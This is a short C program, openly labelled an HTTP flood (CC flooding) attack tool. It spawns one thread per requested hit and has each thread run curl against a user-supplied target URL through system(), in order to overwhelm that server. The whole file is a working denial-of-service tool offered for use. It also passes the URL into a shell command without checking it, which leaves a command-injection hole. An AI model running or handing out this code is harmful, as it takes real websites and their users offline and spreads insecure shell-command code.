#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

#define MAX_URL_LENGTH 1024

void *send_http_request(void *target_url) {
    char command[MAX_URL_LENGTH + 20];
    sprintf(command, "curl -s -o /dev/null %s &", (char *)target_url);
    system(command);
    pthread_exit(NULL);
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Usage: %s <target_url> <num_requests>\n", argv[0]);
        exit(1);
    }

    char *target_url = argv[1];
    int num_requests = atoi(argv[2]);

    if (strlen(target_url) > MAX_URL_LENGTH) {
        printf("Target URL is too long\n");
        exit(1);
    }

    printf("Starting HTTP Flood attack on %s...\n", target_url);

    pthread_t threads[num_requests];
    for (int i = 0; i < num_requests; i++) {
        pthread_create(&threads[i], NULL, send_http_request, (void *)target_url);
    }

    for (int i = 0; i < num_requests; i++) {
        pthread_join(threads[i], NULL);
    }

    printf("HTTP Flood (CC Flooding Attack) attack completed.\n");

    return 0;
}